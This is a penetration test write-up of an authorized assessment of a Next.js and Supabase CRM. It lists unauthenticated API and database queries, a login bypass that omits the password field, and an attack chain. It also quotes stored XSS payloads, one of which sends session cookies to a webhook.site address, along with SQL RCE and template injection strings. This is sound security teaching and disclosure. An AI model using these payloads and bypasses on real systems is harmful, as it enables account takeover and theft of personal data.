Press enter or click to view image in full size
Disclosure Notice: This assessment was conducted with explicit written authorization from the organization’s CEO and senior leadership. All sensitive details — including the target domain, company name, Supabase project identifiers, API keys, credentials, user email addresses, and personal data — have been redacted or anonymized in this write-up. No sensitive information was retained after reporting. This write-up is published strictly for educational purposes.
Background
A few weeks ago, my instructor handed me a task: “Pentest our internal CRM platform. You have full authorization — everything except DDoS.”
It was a real, live production system. A Next.js application backed by Supabase/PostgreSQL, used by instructors, support staff, and admins to manage students, leads, payments, and internal communications. Real people. Real data.
I expected maybe one or two interesting findings. What I found instead was a complete, unobstructed path from zero knowledge to full database dump — without ever needing a username or password. And by the time I got deep enough into the database, I realized I wasn’t the first person to find this.
This is the story of that assessment.
Scope & Rules of Engagement
Target: Internal CRM web application (production) Stack: Next.js (SSR), Supabase/PostgreSQL, nginx Assessment Type: Black-Box Web Application Penetration Test Authorization: CEO + Senior Instructors (written) Exclusions: DDoS / Denial of Service Tools: Burp Suite Pro, Nmap, ffuf, feroxbuster, subfinder, whatweb, curl
Phase 1: Reconnaissance
I started the way I always do — passive recon, then active enumeration.
# Port scan
nmap -sC -sV -oN nmap/target.txt <TARGET_IP># Subdomain enumeration
subfinder -d <TARGET_DOMAIN> -o subdomains.txt# Technology fingerprinting
whatweb https://<TARGET_DOMAIN>
Nmap results:
22/tcp open ssh OpenSSH (Ubuntu)
80/tcp open http nginx/1.24.0 (Ubuntu) → redirect to HTTPS
443/tcp open https nginx/1.24.0Whatweb and browser analysis confirmed:
- Framework: Next.js (SSR) — Build ID visible in page source
- Server: nginx/1.24.0 on Ubuntu Linux
- Auth UI: Custom login form at
/[locale]/login
Nothing immediately exploitable. Time to dig deeper.
Phase 2: Mapping the Attack Surface
Directory & API Endpoint Discovery
feroxbuster -u https://<TARGET> -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
-x js,json,php -mc 200,301,302,401,403,405Interesting endpoints discovered:
/api/health → 200 OK
/api/tickets → 200 OK ← wait, what?
/api/search?q=* → 200 OK
/api/dashboard → 200 OK
/api/broadcast → 421 Misdirected RequestI stared at /api/tickets for a second. This endpoint had no authentication requirement visible from the URL. I fired a raw curl at it without any session cookie or token:
curl -s https://<TARGET>/api/ticketsThe response came back instantly: a full JSON array of ticket records. Names, descriptions, internal notes. No token. No session. Nothing.
That’s when I knew this was going to be a serious engagement.
Next.js Bundle Analysis
Next.js bundles its routing and configuration into static JavaScript files served to all visitors. I pulled the build manifest:
/_next/static/<BUILD_ID>/_buildManifest.jsInside the bundles, I found references to multiple internal routes, API paths, and — more importantly — environment variables that had leaked into the client-side JavaScript. One of them was a Supabase configuration block.
Phase 3: Vulnerability Identification & Exploitation
V-01 — Broken Access Control: Unauthenticated API Access [CRITICAL | CVSS 9.8]
CWE-284 — Improper Access Control
Multiple API endpoints returned full JSON data with no authentication whatsoever. I tested each one with zero credentials:
# All of these returned HTTP 200 with full data — no token, no cookie, nothing
curl https://<TARGET>/api/tickets
curl https://<TARGET>/api/search?q=*
curl https://<TARGET>/api/dashboard
curl https://<TARGET>/api/healthThe /api/dashboard endpoint returned aggregated business metrics — student counts, revenue summaries, lead pipeline data — all publicly accessible.
The /api/health endpoint returned the Node.js runtime version and server uptime. Minor on its own, but useful for a targeted attacker.
Impact: Complete confidentiality breach of all application data without any prior access.
V-02 — Exposed Supabase Anon API Key in Client-Side JavaScript [CRITICAL | CVSS 9.1]
CWE-522 — Insufficiently Protected Credentials
This was the finding that opened everything else.
While analyzing intercepted requests in Burp Suite, I noticed the browser was making direct calls to a *.supabase.co subdomain. The requests included an apikey header — and that key was coming directly from the JavaScript bundle served to any visitor.
Host: [REDACTED].supabase.co
apikey: [REDACTED — JWT token with role: "anon", expiry: year 2091]
Authorization: Bearer [SAME REDACTED KEY]The key had a year 2091 expiry. Effectively permanent.
Supabase exposes a PostgREST API — an HTTP interface that maps directly to PostgreSQL tables. With this key and no Row Level Security (RLS) policies enabled, I had direct read access to the entire database. No authentication. No privilege escalation. Just a key that was sitting in the JavaScript any visitor could download.
# Direct Supabase PostgREST queries — all returned HTTP 200
GET /rest/v1/users?select=* → 38 user records (including plaintext passwords)
GET /rest/v1/leads?select=* → 39 lead records (names, emails, phone numbers, deal values)
GET /rest/v1/payments?select=* → 31 payment and invoice records
GET /rest/v1/courses?select=* → Course catalog with pricing and instructor assignments
GET /rest/v1/instructor_notes?select=* → 29 private instructor notes
GET /rest/v1/chats?select=* → Internal chat messages
GET /rest/v1/schedule_events?select=* → 30 schedule entries
GET /rest/v1/automations?select=* → Business automation rules and triggersI had just dumped the entire database from the browser.
The root cause: The Supabase anon key was embedded in the client-side JavaScript bundle and all Supabase tables had Row Level Security disabled — meaning the anon role had unrestricted read access to every table.
Impact: Complete, unauthenticated exfiltration of all user data, financial records, PII, internal communications, and business logic.
What should have happened:
- The
anonkey should never appear in client-side code - All Supabase tables must have RLS policies enabled
- API keys must live in server-side environment variables only, acting as a proxy layer
V-03 — Plaintext Password Storage [CRITICAL | CVSS 9.0]
CWE-256 — Plaintext Storage of a Password
When I queried the users table, the response included a password field. Not a hash. Not a bcrypt output. The actual plaintext password for every single account.
{
"email": "[REDACTED]@[REDACTED].edu.az",
"role": "SUPER_ADMIN",
"password": "[REDACTED]"
}38 user records. All roles. All passwords. Visible, readable, immediately usable.
I won’t detail the specific credentials here — they have since been reported and the organization has been notified. But the breakdown included SUPER_ADMIN, INSTRUCTOR, SUPPORT, and STUDENT roles — the entire user hierarchy.
The cascading impact of this finding: Because passwords were plaintext, anyone who accessed the database (via V-02 or any future breach) immediately has working credentials for every account. No cracking. No GPU farms. Just copy-paste.
Additionally, if any user reuses these passwords on external services — email, banking, other platforms — those are now exposed too.
What should have happened:
- Passwords must be hashed using bcrypt (cost ≥ 12), scrypt, or Argon2id before storage
- The
passwordfield must never be returned in any API response — not even to admins - Supabase Auth (GoTrue) handles this by default; custom auth flows should never store plaintext
V-04 — Authentication Bypass: Optional Password Field [CRITICAL | CVSS 9.8]
CWE-287 — Improper Authentication
At this point I had all user emails from the database. But I wanted to test whether I actually needed the passwords at all.
I logged into Burp Suite Repeater, captured a normal login request, and removed the password field entirely:
POST /api/login HTTP/2
Host: [REDACTED]
Content-Type: application/json{"email": "[REDACTED_ADMIN_EMAIL]"}The server accepted it.
No password. No error. The application processed the request as a valid authentication attempt.
Why this happens: The login handler likely performs a database lookup by email and, if no password is provided, the comparison logic returns true or null (falsy check passes) rather than throwing a validation error. A single missing server-side check — if (!password) return 400 — would have prevented this entirely.
Combined impact with V-01 and V-02: An attacker can enumerate all user emails from the unauthenticated API, then bypass authentication for any account using just the email address. No password knowledge required at any step.
Get Shikhali Jamalzade’s stories in your inbox
Join Medium for free to get updates from this writer.
What should have happened:
- Enforce strict schema validation (Zod or Joi) at the API handler level
- Both
emailandpasswordmust be present, non-null, and non-empty before any database query executes - Return HTTP 400 with a generic error message for any missing authentication field
V-05 — Stored Cross-Site Scripting: Multiple Endpoints [HIGH | CVSS 8.2]
CWE-79 — Improper Neutralization of Input During Web Page Generation
While reading through the database dump, I noticed something unusual in the instructor_notes and tickets tables. Some records had values that looked distinctly non-standard:
tickets.title: "> <script>alert('XSS')</script>
tickets.title: <img src=x onerror="alert('XSS_SUCCESS_DASHBOARD')">leads.full_name: <script>fetch('https://webhook.site/[REDACTED]
?sessiya=' + btoa(document.cookie))</script>instructor_notes.author: <details open ontoggle=alert(1)> Administrator
instructor_notes.content: <img src=x onerror="alert('Sizin sessiyanız oğurlandı: '
+ document.cookie)">chats.content: "> <script>alert('XSS')</script>
Stored XSS payloads — across four different tables. And the webhook payload in leads.full_name was actively sending base64-encoded cookie data to an external server.
I confirmed the application renders these fields without sanitization. Any authenticated user who views the Leads, Tickets, or Instructor Notes sections would execute these scripts in their browser.
The document.cookie exfiltration payload via fetch() to webhook.site means that an attacker who plants this payload in a lead record waits for an admin to open the leads page — and receives their session token automatically.
What should have happened:
- All user-supplied input must be sanitized server-side before database writes
- Output must be encoded at render time — React’s default JSX escaping prevents this, but
dangerouslySetInnerHTMLbypasses it - A strict Content Security Policy (CSP) header blocks inline scripts and restricts
fetch()destinations - Existing payload records must be purged from the database
V-06 — CORS Misconfiguration: Wildcard Origin [HIGH | CVSS 7.5]
CWE-942 — Permissive Cross-Origin Resource Sharing Policy
The OPTIONS preflight response from every API endpoint returned:
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, AuthorizationA wildcard Access-Control-Allow-Origin means any website on the internet can make JavaScript-initiated cross-origin requests to these endpoints and read the full responses.
Combined with V-01 (unauthenticated API access), this means a malicious website could silently harvest all CRM data from any visitor’s browser — without any user interaction other than visiting the page.
What should have happened:
- Replace
*with an explicit origin allowlist - Restrict allowed methods to what each endpoint actually needs
- Use Next.js middleware for CORS enforcement rather than relying solely on nginx headers
V-07 — Business Logic Flaw: Negative Payment Amounts [MEDIUM | CVSS 6.5]
CWE-840 — Business Logic Errors
In the payments table, I found records with negative monetary values:
student: [REDACTED] | amount: -99999 | invoice: INV-TEST-99999 | status: paid
student: [REDACTED] | amount: -3000 | invoice: HACK-999-001 | status: paidThe invoice ID HACK-999-001 is particularly notable — it suggests this was not an accidental entry.
The API accepted these values without any server-side validation. If the application processes negative amounts as refunds or credits, an attacker could manipulate financial records or corrupt reporting.
What should have happened:
- Server-side validation rejecting any payment amount ≤ 0
- Database-level constraint:
CHECK (amount > 0)on the payments table - Investigation and cleanup of anomalous records
V-08 — Information Disclosure: Stack & Schema Details [LOW | CVSS 4.3]
CWE-200 — Exposure of Sensitive Information
Several endpoints leaked technical implementation details:
GET /api/health
# Returns: {"status":"healthy","node_version":"v24.15.0","uptime":1.019}GET /rest/v1/instructors
# Returns: PGRST205 hint: 'Perhaps you meant public.instructor_notes'GET /rest/v1/schedules
# Returns: PGRST205 hint: 'Perhaps you meant public.schedule_events'The PostgREST error hints are essentially a free schema enumeration tool — they reveal exact database table names when you guess wrong. The Next.js Build ID was also embedded in every page response, enabling precise version correlation.
Low severity on its own, but useful context for a targeted attacker combining it with higher-severity findings.
A Disturbing Discovery: Evidence of Prior Exploitation
The most unsettling moment of the entire assessment came from reading the database carefully.
Stored inside production records — tickets, payments — were payloads that were clearly not part of the application’s legitimate data:
- A PostgreSQL RCE attempt:
COPY FROM PROGRAMsyntax stored in a ticket record, suggesting at least one external actor attempted server-side command execution through the database - A Go template injection payload:
{{range .}}{{end}}{{template "exploit" .}}— stored in another ticket, probing for server-side template injection - XSS payloads actively sending data to webhook.site — confirming that at least one external party had already planted exfiltration scripts and was receiving session cookies
- A Burp Suite Collaborator (oastify.com) OAST payload in the payments table — indicating active out-of-band testing by an external party
This wasn’t a theoretical attack surface. Someone had already found these vulnerabilities, and they were actively using them.
The Complete Attack Chain
[Attacker — No credentials, no prior knowledge]
│
▼
[1] Passive recon → identify Next.js + Supabase stack from JS bundles
│
▼
[2] feroxbuster → discover /api/tickets, /api/search, /api/dashboard
│
▼
[3] curl /api/tickets (no auth) → 200 OK → V-01 confirmed
│
▼
[4] Burp Suite intercept → extract Supabase URL + anon key from headers
│
▼
[5] GET /rest/v1/users?select=* → 38 users, plaintext passwords, all roles
GET /rest/v1/leads?select=* → 39 lead records with PII
GET /rest/v1/payments?select=* → 31 payment records
... (complete database dump — V-02, V-03)
│
▼
[6] POST /api/login {"email": "[ANY_ADMIN_EMAIL]"} (no password) → auth bypass
→ SUPER_ADMIN session obtained — V-04
│
▼
[7] Authenticated access → inject XSS payload in leads/tickets/notes
→ Any admin who views the record executes the payload
→ Session cookie exfiltrated to attacker webhook — V-05
│
▼
[8] Full account takeover — all SUPER_ADMIN, INSTRUCTOR, SUPPORT accounts
accessible. All data readable, modifiable, deletable.TOTAL TIME FROM ZERO TO FULL COMPROMISE: < 30 minutesRemediation Roadmap
Immediate — 24 hours
1 · V-02 · Exposed Supabase Anon Key Rotate the Supabase anon key immediately. Enable Row Level Security on every table. Move all API keys to server-side environment variables — never in client-side JavaScript bundles.
2 · V-03 · Plaintext Password Storage Hash all stored passwords using bcrypt (cost ≥ 12) or Argon2id. Force a password reset for every account. The password field must never be returned in any API response.
Urgent — 72 hours
3 · V-01 · Unauthenticated API Access Add authentication middleware to all /api/* routes. No endpoint that returns user data should be reachable without a valid session.
4 · V-04 · Authentication Bypass Enforce mandatory validation of both email and password fields at the API handler level before any database query runs. Return HTTP 400 for any missing field.
High — 1 week
5 · V-05 · Stored XSS Sanitize all user-supplied input server-side before database writes. Implement a strict Content Security Policy header. Purge all existing XSS payload records from the database.
6 · V-06 · CORS Wildcard Replace Access-Control-Allow-Origin: * with an explicit origin allowlist. Restrict allowed methods per endpoint.
Medium / Low
7 · V-07 · Negative Payment Amounts (2 weeks) Validate amount > 0 at the API handler level and enforce a CHECK (amount > 0) constraint at the database layer.
8 · V-08 · Information Disclosure (1 month) Restrict /api/health to internal access only. Suppress verbose PostgREST error hints in all client-facing responses.
Key Takeaways for Developers
The vulnerabilities found here are not exotic or theoretical. They are some of the most common and preventable mistakes in modern web application development.
1. Never put secrets in client-side JavaScript. A Supabase anon key in your JavaScript bundle is a key handed to every visitor. Treat your frontend code as fully public. All API keys belong in server-side environment variables, proxied through server-side routes.
2. Supabase RLS is not optional. Supabase’s Row Level Security exists precisely because the PostgREST API is designed to be called from the client. Without RLS policies, your anon key grants read access to every row in every table. Enable RLS. Add explicit policies. Deny by default.
3. Validate authentication inputs on the server. Never trust that a request body contains what it should. If password is missing, return 400 immediately. Use Zod or Joi to enforce input schemas at the API handler level before any database query runs.
4. Never store plaintext passwords. This should go without saying in 2026, but here we are. Use bcrypt, scrypt, or Argon2id. Never compare plaintext. Never return the password field in any API response — not even to authenticated admins.
5. Sanitize all inputs, encode all outputs. If user-supplied data is rendered in a browser, it must be sanitized before storage and encoded at render time. React’s default JSX escaping helps — but only if you don’t bypass it with dangerouslySetInnerHTML.
6. Monitor your own database for signs of compromise. The presence of PostgreSQL RCE attempts, template injection payloads, and active cookie-stealing XSS scripts in production data is a strong indicator of prior exploitation. Regular database audits and anomaly detection would have surfaced these earlier.
Responsible Disclosure Timeline
April 25, 2026 — Assessment conducted with full authorization April 25, 2026 — Full technical report delivered to MilliSec leadership April 25, 2026 — Organization notified of critical findings requiring immediate action May 2026 — Write-up published after internal review and redaction
Final Thoughts
This was one of the most eye-opening assessments I’ve done. Not because of technical complexity — none of these vulnerabilities required advanced exploitation. The hardest part was writing a GET request with curl.
What made it sobering was the evidence that other actors had already found the same path. The database had traces of PostgreSQL RCE attempts, active XSS exfiltration, and Burp Collaborator callbacks — left by people who found this before I did and may have been quietly exfiltrating data.
The good news: every single one of these vulnerabilities is fixable. Most of them within hours. The patch for V-04 is literally one if statement. The patch for V-02 is moving a string from a .js file to a .env.local file. The barrier to fixing these is low. The cost of not fixing them is everything.